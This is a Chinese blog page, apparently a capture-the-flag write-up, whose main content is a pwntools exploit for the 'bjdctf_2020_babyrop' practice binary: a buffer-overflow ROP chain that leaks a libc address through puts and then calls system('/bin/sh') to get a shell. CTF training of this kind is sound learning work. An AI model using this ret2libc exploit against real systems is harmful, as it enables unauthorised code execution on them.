bjdctf_2020_babyrop

「爱情、让人受尽委屈。」 2023-02-20 06:28 13阅读 0赞

![在这里插入图片描述][20200623221750619.png]  
exp

from pwn import *
    from LibcSearcher import *
    
    context(log_level='debug')
    
    proc_name = './bjdctf_2020_babyrop'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 28227)
    elf = ELF(proc_name)
    read_got = elf.got['read']
    puts_plt = elf.plt['puts']
    main_addr = elf.sym['main']
    pop_rdi_ret = 0x400733
    payload = flat(['a' * (0x20 + 8), p64(pop_rdi_ret), p64(read_got), p64(puts_plt), p64(main_addr)])
    p.sendafter('story!', payload)
    p.recv()
    read_addr = u64(p.recv(6).ljust(0x8, b'\x00'))
    log.info(hex(read_addr))
    libc = LibcSearcher('read', read_addr)
    libc_base = read_addr - libc.dump('read')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
    payload1 = flat(['a' * (0x20 + 8), p64(pop_rdi_ret), p64(str_bin_sh), p64(system_addr)])
    p.sendafter('story!', payload1)
    p.interactive()

![在这里插入图片描述][2020062322473573.png]

[20200623221750619.png]: https://img-blog.csdnimg.cn/20200623221750619.png
[2020062322473573.png]: https://img-blog.csdnimg.cn/2020062322473573.png

发表评论取消回复

表情：

评论列表（有 0 条评论，13人围观）

还没有评论，来说两句吧...

相关阅读

相关 bjdctf_2020_babyrop2

![在这里插入图片描述][20200705233227679.png] 注意这题开启了Canary ![在这里插入图片描述][watermark_type_ZmFuZ3p

骑猪看日落/ 2023年02月23日 08:15/ 0 赞/ 31 阅读

相关 bjdctf_2020_babystack2

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

àì夳堔傛蜴生んèń/ 2023年02月21日 12:44/ 0 赞/ 16 阅读

相关 bjdctf_2020_babyrop

![在这里插入图片描述][20200623221750619.png] exp from pwn import from LibcSearcher im

「爱情、让人受尽委屈。」/ 2023年02月20日 06:28/ 0 赞/ 14 阅读

相关 [BJDCTF 2nd]test

ssh ctf@node3.buuoj.cn -p <port> ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_sh

浅浅的花香味﹌/ 2023年02月20日 04:52/ 0 赞/ 7 阅读

相关 bjdctf_2020_babystack

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

淡淡的烟草味﹌/ 2023年02月17日 11:22/ 0 赞/ 3 阅读

相关 [BJDCTF 2nd]one_gadget

![在这里插入图片描述][2020061211542959.png] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shad

妖狐艹你老母/ 2023年02月17日 03:55/ 0 赞/ 9 阅读

相关 2020辞旧迎新

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

ゝ一世哀愁。/ 2023年01月01日 06:57/ 0 赞/ 55 阅读

相关 2020 总结

ME 一枚自律、沉稳、热爱分享、会思考总结、自我反思、有自己想法的年轻小伙子，简简单单，平平凡凡。 > 2020最后一天，上个图 ^ ~ ^ ![在这里插

朱雀/ 2023年01月01日 06:56/ 0 赞/ 178 阅读

相关 2020-1024

996 一个程序员问医生：“我怎样才能活到100岁？” “第一，戒酒。” “我从来不喝酒。” “第二，戒烟。” “我从来不吸烟。” “第三，戒色。”

冷不防/ 2022年12月18日 02:53/ 0 赞/ 135 阅读

相关 2020 小结

2020 小结 > 2020 年写博客非常少，一方面是毕业进入工作，进入了人们所说的国内顶尖互联网大厂，发现自身有非常多的进步空间，没那么多充足的时间专门用来写博客，而是

待我称王封你为后i/ 2022年10月25日 00:52/ 0 赞/ 182 阅读